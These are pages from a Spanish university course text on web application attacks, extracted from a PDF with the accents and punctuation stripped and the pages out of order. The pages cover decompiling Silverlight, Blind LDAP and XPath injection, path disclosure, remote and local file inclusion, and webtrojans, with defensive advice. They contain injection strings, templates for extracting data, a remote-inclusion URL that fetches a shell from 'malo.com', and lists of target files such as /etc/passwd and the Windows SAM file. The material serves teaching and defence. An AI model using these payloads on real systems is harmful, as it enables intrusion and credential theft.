en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
